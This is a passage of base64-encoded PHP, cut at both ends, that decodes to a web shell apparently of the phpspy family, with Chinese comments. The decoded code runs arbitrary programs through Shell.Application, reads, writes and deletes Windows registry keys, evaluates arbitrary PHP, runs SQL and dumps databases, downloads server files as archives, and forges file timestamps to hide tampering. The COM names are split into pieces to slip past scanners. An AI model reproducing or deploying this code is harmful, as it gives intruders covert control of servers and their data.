gew0KCQlpZiAoIUBmaWxlX2V4aXN0cygkX1BPU1RbJ3RhcmZpbGUnXSkpIHsNCgkJCWVjaG8gItKqss7V1bXEzsS8/rK7tObU2iEiOw0KCQl9IGVsc2Ugew0KCQkJJHRpbWU9QGZpbGVtdGltZSgkX1BPU1RbJ3RhcmZpbGUnXSk7DQoJCQllY2hvIChAdG91Y2goJF9QT1NUWydjdXJmaWxlJ10sJHRpbWUsJHRpbWUpKSA/IGJhc2VuYW1lKCRfUE9TVFsnY3VyZmlsZSddKS4iILXE0N64xMqxvOSzybmmuMTOqiAiLmRhdGUoIlktbS1kIEg6aTpzIiwkdGltZSkuIiAhIiA6ICLOxLz+tcTQ3rjEyrG85NDeuMTKp7DcISI7DQoJCX0NCgl9DQp9DQoNCi8vINfUtqjS5cqxvOQNCmVsc2VpZiAoJF9QT1NUWydkbyddID09ICdtb2RteXRpbWUnKSB7DQoJaWYgKCFAZmlsZV9leGlzdHMoJF9QT1NUWydjdXJmaWxlJ10pKSB7DQoJCWVjaG8gItKq0N64xLXEzsS8/rK7tObU2iEiOw0KCX0gZWxzZSB7DQoJCSR5ZWFyPSRfUE9TVFsneWVhciddOw0KCQkkbW9udGg9JF9QT1NUWydtb250aCddOw0KCQkkZGF0YT0kX1BPU1RbJ2RhdGEnXTsJCQ0KCQkkaG91cj0kX1BPU1RbJ2hvdXInXTsNCgkJJG1pbnV0ZT0kX1BPU1RbJ21pbnV0ZSddOw0KCQkkc2Vjb25kPSRfUE9TVFsnc2Vjb25kJ107DQoJCWlmICghZW1wdHkoJHllYXIpIEFORCAhZW1wdHkoJG1vbnRoKSBBTkQgIWVtcHR5KCRkYXRhKSBBTkQgIWVtcHR5KCRob3VyKSBBTkQgIWVtcHR5KCRtaW51dGUpIEFORCAhZW1wdHkoJHNlY29uZCkpIHsNCgkJCSR0aW1lPXN0cnRvdGltZSgiJGRhdGEgJG1vbnRoICR5ZWFyICRob3VyOiRtaW51dGU6JHNlY29uZCIpOw0KCQkJZWNobyAoQHRvdWNoKCRfUE9TVFsnY3VyZmlsZSddLCR0aW1lLCR0aW1lKSkgPyBiYXNlbmFtZSgkX1BPU1RbJ2N1cmZpbGUnXSkuIiC1xNDeuMTKsbzks8m5prjEzqogIi5kYXRlKCJZLW0tZCBIOmk6cyIsJHRpbWUpLiIgISIgOiAizsS8/rXE0N64xMqxvOTQ3rjEyqew3CEiOw0KCQl9DQoJfQ0KfQ0KDQovLyDBrL3TTVlTUUwNCmVsc2VpZiAoJGNvbm5lY3QpIHsNCglpZiAoQG15c3FsX2Nvbm5lY3QoJHNlcnZlcm5hbWUsJGRidXNlcm5hbWUsJGRicGFzc3dvcmQpIEFORCBAbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUpKSB7DQoJCWVjaG8gIsr9vt2/4sGsvdOzybmmISI7DQoJCW15c3FsX2Nsb3NlKCk7DQoJfSBlbHNlIHsNCgkJZWNobyBteXNxbF9lcnJvcigpOw0KCX0NCn0NCg0KLy8g1rTQ0FNRTNPvvuQNCmVsc2VpZiAoJF9QT1NUWydkbyddID09ICdxdWVyeScpIHsNCglAbXlzcWxfY29ubmVjdCgkc2VydmVybmFtZSwkZGJ1c2VybmFtZSwkZGJwYXNzd29yZCkgb3IgZGllKCLK/b7dv+LBrL3Tyqew3CIpOw0KCUBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSkgb3IgZGllKCLRodTxyv2+3b/iyqew3CIpOw0KCSRyZXN1bHQgPSBAbXlzcWxfcXVlcnkoJF9QT1NUWydzcWxfcXVlcnknXSk7DQoJZWNobyAoJHJlc3VsdCkgPyAiU1FM0+++5LPJuabWtNDQISIgOiAis/a07TogIi5teXNxbF9lcnJvcigpOw0KCW15c3FsX2Nsb3NlKCk7DQp9DQoNCi8vILG4t92y2df3DQplbHNlaWYgKCRfUE9TVFsnZG8nXSA9PSAnYmFja3VwbXlzcWwnKSB7DQoJaWYgKGVtcHR5KCRfUE9TVFsndGFibGUnXSkgT1IgZW1wdHkoJF9QT1NUWydiYWNrdXB0eXBlJ10pKSB7DQoJCWVjaG8gIsfr0aHU8dP7sbi33bXEyv2+3bHtus2xuLfdt73KvSEiOw0KCX0gZWxzZSB7DQoJCWlmICgkX1BPU1RbJ2JhY2t1cHR5cGUnXSA9PSAnc2VydmVyJykgew0KCQkJQG15c3FsX2Nvbm5lY3QoJHNlcnZlcm5hbWUsJGRidXNlcm5hbWUsJGRicGFzc3dvcmQpIG9yIGRpZSgiyv2+3b/iway908qnsNwiKTsNCgkJCUBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSkgb3IgZGllKCLRodTxyv2+3b/iyqew3CIpOwkNCgkJCSR0YWJsZSA9IGFycmF5X2ZsaXAoJF9QT1NUWyd0YWJsZSddKTsNCgkJCSRmaWxlaGFuZGxlID0gQGZvcGVuKCRwYXRoLCJ3Iik7DQoJCQlpZiAoJGZpbGVoYW5kbGUpIHsNCgkJCQkkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgdGFibGVzIik7DQoJCQkJZWNobyAoJHJlc3VsdCkgPyBOVUxMIDogIrP2tO06ICIubXlzcWxfZXJyb3IoKTsNCgkJCQl3aGlsZSAoJGN1cnJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7DQoJCQkJCWlmIChpc3NldCgkdGFibGVbJGN1cnJvd1swXV0pKSB7DQoJCQkJCQlzcWxkdW1wdGFibGUoJGN1cnJvd1swXSwgJGZpbGVoYW5kbGUpOw0KCQkJCQkJZndyaXRlKCRmaWxlaGFuZGxlLCJcblxuXG4iKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlmY2xvc2UoJGZpbGVoYW5kbGUpOw0KCQkJCWVjaG8gIsr9vt2/4tLRs8m5prG4t921vSA8YSBocmVmPVwiIi4kcGF0aC4iXCIgdGFyZ2V0PVwiX2JsYW5rXCI+Ii4kcGF0aC4iPC9hPiI7DQoJCQkJbXlzcWxfY2xvc2UoKTsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAisbi33cqnsNwsx+vIt8jPxL+x6s7EvP680MrHt/G+39PQv8nQtMioz94hIjsNCgkJCX0NCgkJfQ0KCX0NCn0NCg0KDQovLyC08rD8z8LU2CBQUzrOxLz+zKu087/JxNy3x7Ojwv0NCi8vIFRoeCA6INChu6gNCmVsc2VpZigkZG93bnJhcikgew0KCWlmICghZW1wdHkoJGRsKSkgew0KCQkkZGZpbGVzPSIiOw0KCQlmb3JlYWNoICgkZGwgQVMgJGZpbGVwYXRoPT4kdmFsdWUpIHsNCgkJCSRkZmlsZXMuPSRmaWxlcGF0aC4iLCI7DQoJCX0NCgkJJGRmaWxlcz1zdWJzdHIoJGRmaWxlcywwLHN0cmxlbigkZGZpbGVzKS0xKTsNCgkJJGRsPWV4cGxvZGUoIiwiLCRkZmlsZXMpOw0KCQkkemlwPW5ldyBQSFBaaXAoJGRsKTsNCgkJJGNvZGU9JHppcC0+b3V0OwkJDQoJCWhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsNCgkJaGVhZGVyKCJBY2NlcHQtUmFuZ2VzOiBieXRlcyIpOw0KCQloZWFkZXIoIkFjY2VwdC1MZW5ndGg6ICIuc3RybGVuKCRjb2RlKSk7DQoJCWhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDtmaWxlbmFtZT0iLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iX0ZpbGVzLnRhci5neiIpOw0KCQllY2hvICRjb2RlOw0KCQlleGl0Ow0KCX0gZWxzZSB7DQoJCWVjaG8gIsfr0aHU8dKqtPKw/M/C1Ni1xM7EvP4hIjsNCgl9DQp9DQoNCi8vIFNoZWxsLkFwcGxpY2F0aW9uINTL0NCzzNDyDQplbHNlaWYoKCRfUE9TVFsnZG8nXSA9PSAncHJvZ3JhbXJ1bicpIEFORCAhZW1wdHkoJF9QT1NUWydwcm9ncmFtJ10pKSB7DQoJJHNoZWxsPSAmbmV3IENPTSgnU2gnLidlbCcuJ2wuQXBwbCcuJ2ljYScuJ3Rpb24nKTsNCgkkYSA9ICRzaGVsbC0+U2hlbGxFeGVjdXRlKCRfUE9TVFsncHJvZ3JhbSddLCRfUE9TVFsncHJvZyddKTsNCgllY2hvICgkYT09JzAnKSA/ICKzzNDy0tG+rbPJuabWtNDQISIgOiAis8zQ8tTL0NDKp7DcISI7DQp9DQoNCi8vILLpv7RQSFDF5NbDss7K/de0v/YNCmVsc2VpZigoJF9QT1NUWydkbyddID09ICd2aWV3cGhwdmFyJykgQU5EICFlbXB0eSgkX1BPU1RbJ3BocHZhcm5hbWUnXSkpIHsNCgllY2hvICLF5NbDss7K/SAiLiRfUE9TVFsncGhwdmFybmFtZSddLiIgvOyy4r3hufs6ICIuZ2V0cGhwY2ZnKCRfUE9TVFsncGhwdmFybmFtZSddKS4iIjsNCn0NCg0KLy8gtsHIodeisuGx7Q0KZWxzZWlmKCgkcmVncmVhZCkgQU5EICFlbXB0eSgkX1BPU1RbJ3JlYWRyZWduYW1lJ10pKSB7DQoJJHNoZWxsPSAmbmV3IENPTSgnV1NjJy4ncmlwJy4ndC5TaCcuJ2VsbCcpOw0KCXZhcl9kdW1wKEAkc2hlbGwtPlJlZ1JlYWQoJF9QT1NUWydyZWFkcmVnbmFtZSddKSk7DQp9DQoNCi8vINC0yOvXorLhse0NCmVsc2VpZigoJHJlZ3dyaXRlKSBBTkQgIWVtcHR5KCRfUE9TVFsnd3JpdGVyZWduYW1lJ10pIEFORCAhZW1wdHkoJF9QT1NUWydyZWd0eXBlJ10pIEFORCAhZW1wdHkoJF9QT1NUWydyZWd2YWwnXSkpIHsNCgkkc2hlbGw9ICZuZXcgQ09NKCdXJy4nU2NyJy4naXB0LlMnLidoZWxsJyk7DQoJJGEgPSBAJHNoZWxsLT5SZWdXcml0ZSgkX1BPU1RbJ3dyaXRlcmVnbmFtZSddLCAkX1BPU1RbJ3JlZ3ZhbCddLCAkX1BPU1RbJ3JlZ3R5cGUnXSk7DQoJZWNobyAoJGE9PScwJykgPyAi0LTI69eisuGx7b2h1rWzybmmISIgOiAi0LTI6yAiLiRfUE9TVFsncmVnbmFtZSddLiIsICIuJF9QT1NUWydyZWd2YWwnXS4iLCAiLiRfUE9TVFsncmVndHlwZSddLiIgyqew3CEiOw0KfQ0KDQovLyDJvrP916Ky4bHtDQplbHNlaWYoKCRyZWdkZWxldGUpIEFORCAhZW1wdHkoJF9QT1NUWydkZWxyZWduYW1lJ10pKSB7DQoJJHNoZWxsPSAmbmV3IENPTSgnV1MnLidjcmknLidwdC5TJy4naGUnLidsbCcpOw0KCSRhID0gQCRzaGVsbC0+UmVnRGVsZXRlKCRfUE9TVFsnZGVscmVnbmFtZSddKTsNCgllY2hvICgkYT09JzAnKSA/ICLJvrP916Ky4bHtvaHWtbPJuaYhIiA6ICLJvrP9ICIuJF9QT1NUWydkZWxyZWduYW1lJ10uIiDKp7DcISI7DQp9DQoNCg0KZWNobyAiPC9iPjwvcD5cbiI7DQovKj09PT09PT09PT09PT09PT09PT09PSDWtNDQstnX9yC94cr4ID09PT09PT09PT09PT09PT09PT09PSovDQoNCmlmICghaXNzZXQoJF9HRVRbJ2FjdGlvbiddKSBPUiBlbXB0eSgkX0dFVFsnYWN0aW9uJ10pIE9SICgkX0dFVFsnYWN0aW9uJ10gPT0gImRpciIpKSB7DQoJJHRiLT50YWJsZWhlYWRlcigpOw0KPz4NCiAgPHRyIGJnY29sb3I9IiNjY2NjY2MiPg0KICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBub3dyYXAgd2lkdGg9IjI3JSI+PGI+zsS8/jwvYj48L3RkPg0KCTx0ZCBhbGlnbj0iY2VudGVyIiBub3dyYXAgd2lkdGg9IjE2JSI+PGI+tLS9qMjVxto8L2I+PC90ZD4NCiAgICA8dGQgYWxpZ249ImNlbnRlciIgbm93cmFwIHdpZHRoPSIxNiUiPjxiPtfuuvPQ3rjEPC9iPjwvdGQ+DQogICAgPHRkIGFsaWduPSJjZW50ZXIiIG5vd3JhcCB3aWR0aD0iMTElIj48Yj6089ChPC9iPjwvdGQ+DQogICAgPHRkIGFsaWduPSJjZW50ZXIiIG5vd3JhcCB3aWR0aD0iNiUiPjxiPsr00NQ8L2I+PC90ZD4NCiAgICA8dGQgYWxpZ249ImNlbnRlciIgbm93cmFwIHdpZHRoPSIyNCUiPjxiPrLZ1/c8L2I+PC90ZD4NCiAgPC90cj4NCjw/cGhwDQovLyDEv8K8wdCx7Q0KJGRpcnM9QG9wZW5kaXIoJGRpcik7DQokZGlyX2kgPSAnMCc7DQp3aGlsZSAoJGZpbGU9QHJlYWRkaXIoJGRpcnMpKSB7DQoJJGZpbGVwYXRoPSIkZGlyLyRmaWxlIjsNCgkkYT1AaXNfZGlyKCRmaWxlcGF0aCk7DQoJaWYoJGE9PSIxIil7DQoJCWlmKCRmaWxlIT0iLi4iICYmICRmaWxlIT0iLiIpCXsNCgkJCSRjdGltZT1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlY3RpbWUoJGZpbGVwYXRoKSk7DQoJCQkkbXRpbWU9QGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZW10aW1lKCRmaWxlcGF0aCkpOw0KCQkJJGRpcnBlcm09c3Vic3RyKGJhc2VfY29udmVydChmaWxlcGVybXMoJGZpbGVwYXRoKSwxMCw4KSwtNCk7DQoJCQllY2hvICI8dHIgY2xhc3M9Ii5nZXRyb3diZygpLiI+XG4iOw0KCQkJZWNobyAiICA8dGQgc3R5bGU9XCJwYWRkaW5nLWxlZnQ6IDVweDtcIj5bPGEgaHJlZj1cIj9kaXI9Ii51cmxlbmNvZGUoJGRpcikuIi8iLnVybGVuY29kZSgkZmlsZSkuIlwiPjxmb250IGNvbG9yPVwiIzAwNjY5OVwiPiRmaWxlPC9mb250PjwvYT5dPC90ZD5cbiI7DQoJCQllY2hvICIgIDx0ZCBhbGlnbj1cImNlbnRlclwiIG5vd3JhcCBjbGFzcz1cInNtbGZvbnRcIj4kY3RpbWU8L3RkPlxuIjsNCgkJCWVjaG8gIiAgPHRkIGFsaWduPVwiY2VudGVyXCIgbm93cmFwIGNsYXNzPVwic21sZm9udFwiPiRtdGltZTwvdGQ+XG4iOw0KCQkJZWNobyAiICA8dGQgYWxpZ249XCJjZW50ZXJcIiBub3dyYXAgY2xhc3M9XCJzbWxmb250XCI+Jmx0O2RpciZndDs8L3RkPlxuIjsNCgkJCWVjaG8gIiAgPHRkIGFsaWduPVwiY2VudGVyXCIgbm93cmFwIGNsYXNzPVwic21sZm9udFwiPjxhIGhyZWY9XCI/YWN0aW9uPWZpbGVwZXJtJmRpcj0iLnVybGVuY29kZSgkZGlyKS4iJmZpbGU9Ii51cmxlbmNvZGUoJGZpbGUpLiJcIj4kZGlycGVybTwvYT48L3RkPlxuIjsNCgkJCWVjaG8gIiAgPHRkIGFsaWduPVwiY2VudGVyXCIgbm93cmFwPnwgPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwicmVhbGx5KCciLnVybGVuY29kZSgkZGlyKS4iJywnIi51cmxlbmNvZGUoJGZpbGUpLiInLCfE48i3tqjSqsm+s/0gJGZpbGUgxL/CvMLwPyBcXG5cXG7I57n7uMPEv8K8t8e/1Sy0y7TOstnX972ru+HJvrP9uMPEv8K8z8K1xMv509DOxLz+IScsJzEnKVwiPsm+s/08L2E+IHwgPGEgaHJlZj1cIj9hY3Rpb249cmVuYW1lJmRpcj0iLnVybGVuY29kZSgkZGlyKS4iJmZuYW1lPSIudXJsZW5jb2RlKCRmaWxlKS4iXCI+uMTD+zwvYT4gfDwvdGQ+XG4iOw0KCQkJZWNobyAiPC90cj5cbiI7DQoJCQkkZGlyX2krKzsNCgkJfSBlbHNlIHsNCgkJCWlmKCRmaWxlPT0iLi4iKSB7DQoJCQkJZWNobyAiPHRyIGNsYXNzPSIuZ2V0cm93YmcoKS4iPlxuIjsNCgkJCQllY2hvICIgIDx0ZCBub3dyYXAgY29sc3Bhbj1cIjZcIiBzdHlsZT1cInBhZGRpbmctbGVmdDogNXB4O1wiPjxhIGhyZWY9XCI/ZGlyPSIudXJsZW5jb2RlKCRkaXIpLiIvIi51cmxlbmNvZGUoJGZpbGUpLiJcIj63tbvYyc+8tsS/wrw8L2E+Ii4kY29weXVybC4kc2VydmVydS4iJnA9Ii4kc2VydmVycC4kY29weXVybGwuIjwvdGQ+XG4iOw0KCQkJCWVjaG8gIjwvdHI+XG4iOw0KCQkJfQ0KCQl9DQoJfQ0KfS8vIHdoaWxlDQpAY2xvc2VkaXIoJGRpcnMpOyANCj8+DQo8dHIgYmdjb2xvcj0iI2NjY2NjYyI+DQogIDx0ZCBjb2xzcGFuPSI2IiBoZWlnaHQ9IjUiPjwvdGQ+DQo8L3RyPg0KPEZPUk0gYWN0aW9uPSIiIG1ldGhvZD0iUE9TVCI+DQo8Pw0KLy8gzsS8/sHQse0NCiRkaXJzPUBvcGVuZGlyKCRkaXIpOw0KJGZpbGVfaSA9ICcwJzsNCndoaWxlICgkZmlsZT1AcmVhZGRpcigkZGlycykpIHsNCgkkZmlsZXBhdGg9IiRkaXIvJGZpbGUiOw0KCSRhPUBpc19kaXIoJGZpbGVwYXRoKTsNCglpZigkYT09IjAiKXsJCQ0KCQkkc2l6ZT1AZmlsZXNpemUoJGZpbGVwYXRoKTsNCgkJJHNpemU9JHNpemUvMTAyNCA7DQoJCSRzaXplPSBAbnVtYmVyX2Zvcm1hdCgkc2l6ZSwgMyk7DQoJCWlmIChAZmlsZWN0aW1lKCRmaWxlcGF0aCkgPT0gQGZpbGVtdGltZSgkZmlsZXBhdGgpKSB7DQoJCQkkY3RpbWU9QGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZWN0aW1lKCRmaWxlcGF0aCkpOw0KCQkJJG10aW1lPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkZmlsZXBhdGgpKTsNCgkJfSBlbHNlIHsNCgkJCSRjdGltZT0iPHNwYW4gY2xhc3M9XCJyZWRmb250XCI+Ii5AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlY3RpbWUoJGZpbGVwYXRoKSkuIjwvc3Bhbj4iOw0KCQkJJG10aW1lPSI8c3BhbiBjbGFzcz1cInJlZGZvbnRcIj4iLkBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkZmlsZXBhdGgpKS4iPC9zcGFuPiI7DQoJCX0NCgkJQCRmaWxlcGVybT1zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJGZpbGVwYXRoKSwxMCw4KSwtNCk7DQoJCWVjaG8gIjx0ciBjbGFzcz0iLmdldHJvd2JnKCkuIj5cbiI7DQoJCWVjaG8gIiAgPHRkIHN0eWxlPVwicGFkZGluZy1sZWZ0OiA1cHg7XCI+IjsNCgkJZWNobyAiPElOUFVUIHR5cGU9Y2hlY2tib3ggdmFsdWU9MSBuYW1lPWRsWyRmaWxlcGF0aF0+IjsNCgkJZWNobyAiPGEgaHJlZj1cIiRmaWxlcGF0aFwiIHRhcmdldD1cIl9ibGFua1wiPiRmaWxlPC9hPjwvdGQ+XG4iOw0KCQllY2hvICIgIDx0ZCBhbGlnbj1cImNlbnRlclwiIG5vd3JhcCBjbGFzcz1cInNtbGZvbnRcIj4kY3RpbWU8L3RkPlxuIjsNCgkJZWNobyAiICA8dGQgYWxpZ249XCJjZW50ZXJcIiBub3dyYXAgY2xhc3M9XCJzbWxmb250XCI+JG10aW1lPC90ZD5cbiI7DQoJCWVjaG8gIiAgPHRkIGFsaWduPVwicmlnaHRcIiBub3dyYXAgY2xhc3M9XCJzbWxmb250XCI+PHNwYW4gY2xhc3M9XCJyZWRmb250XCI+JHNpemU8L3NwYW4+IEtCPC90ZD5cbiI7DQoJCWVjaG8gIiAgPHRkIGFsaWduPVwiY2VudGVyXCIgbm93cmFwIGNsYXNzPVwic21sZm9udFwiPjxhIGhyZWY9XCI/YWN0aW9uPWZpbGVwZXJtJmRpcj0iLnVybGVuY29kZSgkZGlyKS4iJmZpbGU9Ii51cmxlbmNvZGUoJGZpbGUpLiJcIj4kZmlsZXBlcm08L2E+PC90ZD5cbiI7DQoJCWVjaG8gIiAgPHRkIGFsaWduPVwiY2VudGVyXCIgbm93cmFwPjxhIGhyZWY9XCI/ZG93bmZpbGU9Ii51cmxlbmNvZGUoJGZpbGVwYXRoKS4iXCI+z8LU2DwvYT4gfCA8YSBocmVmPVwiP2FjdGlvbj1lZGl0ZmlsZSZkaXI9Ii51cmxlbmNvZGUoJGRpcikuIiZlZGl0ZmlsZT0iLnVybGVuY29kZSgkZmlsZSkuIlwiPrHgvK08L2E+IHwgPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwicmVhbGx5KCciLnVybGVuY29kZSgkZGlyKS4iJywnIi51cmxlbmNvZGUoJGZpbGVwYXRoKS4iJywnxOPIt7ao0qrJvrP9ICRmaWxlIM7EvP7C8D8nLCcyJylcIj7JvrP9PC9hPiB8IDxhIGhyZWY9XCI/YWN0aW9uPXJlbmFtZSZkaXI9Ii51cmxlbmNvZGUoJGRpcikuIiZmbmFtZT0iLnVybGVuY29kZSgkZmlsZXBhdGgpLiJcIj64xMP7PC9hPiB8IDxhIGhyZWY9XCI/YWN0aW9uPW5ld3RpbWUmZGlyPSIudXJsZW5jb2RlKCRkaXIpLiImZmlsZT0iLnVybGVuY29kZSgkZmlsZXBhdGgpLiJcIj7KsbzkPC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8L3RyPlxuIjsNCgkJJGZpbGVfaSsrOw0KCX0NCn0vLyB3aGlsZQ0KQGNsb3NlZGlyKCRkaXJzKTsgDQokdGItPnRkYm9keSgnPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIyIiBjZWxsc3BhY2luZz0iMCIgYWxpZ249ImNlbnRlciI+PHRyPjx0ZD4nLiR0Yi0+bWFrZWlucHV0KCdjaGthbGwnLCdvbicsJ29uY2xpY2s9IkNoZWNrQWxsKHRoaXMuZm9ybSkiJywnY2hlY2tib3gnLCczMCcsJycpLicgJy4kdGItPm1ha2VpbnB1dCgnZG93bnJhcicsJ9Gh1tDOxLz+tPKw/M/C1NgnLCcnLCdzdWJtaXQnKS4nPC90ZD48dGQgYWxpZ249InJpZ2h0Ij4nLiRkaXJfaS4nILj2xL/CvCAvICcuJGZpbGVfaS4nILj2zsS8/jwvdGQ+PC90cj48L3RhYmxlPicsJ2NlbnRlcicsZ2V0cm93YmcoKSwnJywnJywnNicpOw0KDQplY2hvICI8L0ZPUk0+XG4iOw0KZWNobyAiPC90YWJsZT5cbiI7DQp9Ly8gZW5kIGRpcg0KDQplbHNlaWYgKCRfR0VUWydhY3Rpb24nXSA9PSAiZWRpdGZpbGUiKSB7DQoJaWYoZW1wdHkoJG5ld2ZpbGUpKSB7DQoJCSRmaWxlbmFtZT0iJGRpci8kZWRpdGZpbGUiOw0KCQkkZnA9QGZvcGVuKCRmaWxlbmFtZSwiciIpOw0KCQkkY29udGVudHM9QGZyZWFkKCRmcCwgZmlsZXNpemUoJGZpbGVuYW1lKSk7DQoJCUBmY2xvc2UoJGZwKTsNCgkJJGNvbnRlbnRzPWh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnRzKTsNCgl9ZWxzZXsNCgkJJGVkaXRmaWxlPSRuZXdmaWxlOw0KCQkkZmlsZW5hbWUgPSAiJGRpci8kZWRpdGZpbGUiOw0KCX0NCgkkYWN0aW9uID0gIj9kaXI9Ii51cmxlbmNvZGUoJGRpcikuIiZlZGl0ZmlsZT0iLiRlZGl0ZmlsZTsNCgkkdGItPnRhYmxlaGVhZGVyKCk7DQoJJHRiLT5mb3JtaGVhZGVyKCRhY3Rpb24sJ9DCvagvseC8rc7EvP4nKTsNCgkkdGItPnRkYm9keSgntbHHsM7EvP46ICcuJHRiLT5tYWtlaW5wdXQoJ2VkaXRmaWxlbmFtZScsJGZpbGVuYW1lKS4nIMrkyOvQws7EvP7D+9TyvajBotDCzsS8/iBQaHC0+sLrvNPD3DogPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJjaGFuZ2UiIHZhbHVlPSJ5ZXMiIG9uY2xpY2s9ImphdmFzY3JpcHQ6YWxlcnQoXCfV4rj2uabE3Na7v8nS1NPDwLS808Pcu/LKx9G5y/XN6tX7tcRwaHC0+sLroaNcXG5cXG63x3BocLT6wuu78rK7zerV+3BocLT6wuu78rK71qez1md6aW5mbGF0Zbqvyv3H67K70qrKudPDo6FcJykiPiAnKTsNCgkkdGItPnRkYm9keSgkdGItPm1ha2V0ZXh0YXJlYSgnZmlsZWNvbnRlbnQnLCRjb250ZW50cykpOw0KCSR0Yi0+bWFrZWhpZGRlbignZG8nLCdkb2VkaXRmaWxlJyk7DQoJJHRiLT5mb3JtZm9vdGVyKCcxJywnMzAnKTsNCn0vL2VuZCBlZGl0ZmlsZQ0KDQplbHNlaWYgKCRfR0VUWydhY3Rpb24nXSA9PSAicmVuYW1lIikgew0KCSRub3dmaWxlID0gKGlzc2V0KCRfUE9TVFsnbmV3bmFtZSddKSkgPyAkX1BPU1RbJ25ld25hbWUnXSA6IGJhc2VuYW1lKCRfR0VUWydmbmFtZSddKTsNCgkkYWN0aW9uID0gIj9kaXI9Ii51cmxlbmNvZGUoJGRpcikuIiZmbmFtZT0iLnVybGVuY29kZSgkZm5hbWUpOw0KCSR0Yi0+dGFibGVoZWFkZXIoKTsNCgkkdGItPmZvcm1oZWFkZXIoJGFjdGlvbiwn0N64xM7EvP7D+ycpOw0KCSR0Yi0+bWFrZWhpZGRlbignb2xkbmFtZScsJGRpci4iLyIuJG5vd2ZpbGUpOw0KCSR0Yi0+bWFrZWhpZGRlbignZGlyJywkZGlyKTsNCgkkdGItPnRkYm9keSgntbHHsM7EvP7D+zogJy5iYXNlbmFtZSgkbm93ZmlsZSkpOw0KCSR0Yi0+dGRib2R5KCe4xMP7zqo6ICcuJHRiLT5tYWtlaW5wdXQoJ25ld25hbWUnKSk7DQoJJHRiLT5tYWtlaGlkZGVuKCdkbycsJ3JlbmFtZScpOw0KCSR0Yi0+Zm9ybWZvb3RlcignMScsJzMwJyk7DQp9Ly9lbmQgcmVuYW1lDQoNCmVsc2VpZiAoJF9HRVRbJ2FjdGlvbiddID09ICJldmFsIikgew0KCSRhY3Rpb24gPSAiP2Rpcj0iLnVybGVuY29kZSgkZGlyKS4iIjsNCgkkdGItPnRhYmxlaGVhZGVyKCk7DQoJJHRiLT5mb3JtaGVhZGVyKCcnLiRhY3Rpb24uJyAidGFyZ2V0PSJfYmxhbmsnICwn1rTQ0HBocL3Fsb4nKTsNCgkkdGItPnRkYm9keSgkdGItPm1ha2V0ZXh0YXJlYSgncGhwY29kZScsJGNvbnRlbnRzKSk7DQoJJHRiLT5mb3JtZm9vdGVyKCcxJywnMzAnKTsNCgkNCn0NCmVsc2VpZiAoJF9HRVRbJ2FjdGlvbiddID09ICJmaWxlcGVybSIpIHsNCgkkYWN0aW9uID0gIj9kaXI9Ii51cmxlbmNvZGUoJGRpcikuIiZmaWxlPSIuJGZpbGU7DQoJJHRiLT50YWJsZWhlYWRlcigpOw0KCSR0Yi0+Zm9ybWhlYWRlcigkYWN0aW9uLCfQ3rjEzsS8/sr00NQnKTsNCgkkdGItPnRkYm9keSgn0N64xCAnLiRmaWxlLicgtcTK9NDUzqo6ICcuJHRiLT5tYWtlaW5wdXQoJ2ZpbGVwZXJtJyxzdWJzdHIoYmFzZV9jb252ZXJ0KGZpbGVwZXJtcygkZGlyLicvJy4kZmlsZSksMTAsOCksLTQpKSk7DQoJJHRiLT5tYWtlaGlkZGVuKCdmaWxlJywkZmlsZSk7DQoJJHRiLT5tYWtlaGlkZGVuKCdkaXInLHVybGVuY29kZSgkZGlyKSk7DQoJJHRiLT5tYWtlaGlkZGVuKCdkbycsJ2VkaXRmaWxlcGVybScpOw0KCSR0Yi0+Zm9ybWZvb3RlcignMScsJzMwJyk7DQp9Ly9lbmQgZmlsZXBlcm0NCg0KZWxzZWlmICgkX0dFVFsnYWN0aW9uJ10gPT0gIm5ld3RpbWUiKSB7DQoJJGFjdGlvbiA9ICI/ZGlyPSIudXJsZW5jb2RlKCRkaXIpOw0KCSRjYWNoZW1vbnRoID0gYXJyYXkoJ0phbnVhcnknPT4xLCdGZWJydWFyeSc9PjIsJ01hcmNoJz0+MywnQXByaWwnPT40LCdNYXknPT41LCdKdW5lJz0+NiwnSnVseSc9PjcsJ0F1Z3VzdCc9PjgsJ1NlcHRlbWJlcic9PjksJ09jdG9iZXInPT4xMCwnTm92ZW1iZXInPT4xMSwnRGVjZW1iZXInPT4xMik7DQoJJHRiLT50YWJsZWhlYWRlcigpOw0KCSR0Yi0+Zm9ybWhlYWRlcigkYWN0aW9uLCe/y8KhzsS8/tfuuvPQ3rjEyrG85CcpOw0KCSR0Yi0+dGRib2R5KCLQ3rjEzsS8/jogIi4kdGItPm1ha2VpbnB1dCgnY3VyZmlsZScsJGZpbGUsJ3JlYWRvbmx5JykuIiCh+iDEv7HqzsS8/jogIi4kdGItPm1ha2VpbnB1dCgndGFyZmlsZScsJ9DozO7N6tX7wre+trywzsS8/sP7JyksJ2NlbnRlcicsJzInLCczMCcpOw0KCSR0Yi0+bWFrZWhpZGRlbignZG8nLCdkb21vZHRpbWUnKTsNCgkkdGItPmZvcm1mb290ZXIoJycsJzMwJyk7DQoJJHRiLT5mb3JtaGVhZGVyKCRhY3Rpb24sJ9fUtqjS5c7EvP7X7rrz0N64xMqxvO